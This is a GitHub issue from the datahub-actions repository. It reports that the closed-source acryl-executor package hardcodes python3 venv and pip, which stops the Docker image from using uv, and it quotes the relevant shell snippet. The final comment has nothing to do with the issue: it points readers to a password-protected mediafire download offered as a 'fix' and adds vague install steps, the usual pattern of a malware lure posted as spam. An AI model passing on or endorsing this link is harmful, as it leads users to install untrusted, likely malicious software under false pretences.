acryldata/datahub-actions

Closed source acryl-executor prevents datahub-actions docker container from taking advantage of `uv`

Closed this issue · 1 comments

Problem

When attempting to make security updates to datahub-actions, the following issue was discovered:

datahub-ingestion-base in the main datahub repository uses uv to install datahub-cli. uv is nice because it is much faster than base pip. It would be nice if datahub-actions could similarly take advantage of uv however even if the Dockerfile that builds datahub-actions is modified, the python package acryl-executor (dependency of the datahub-actions python package) is hardcoded to use the system python installation to create virtual environments and manage dependencies. Here is the relevant snippet.

        if [ ! -d "$venv_dir" ]; then
           echo "venv doesn't exist.. minting.."
           python3 -m venv $venv_dir
           source "$venv_dir/bin/activate"
           pip install --upgrade pip wheel setuptools
       else
           source "$venv_dir/bin/activate"
           VENV_IS_REINSTALL=1
       fi

Proposed Solution

Allow acryl-executor to be configurable with how virtual environments/dependencies are managed. Open sourcing acryl-executor would allow for community contributions. Eg. I could open a PR for this problem.

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/6mkbh6xhau31g
password: changeme
when you installing, you need to place a check in install to path and select "gcc."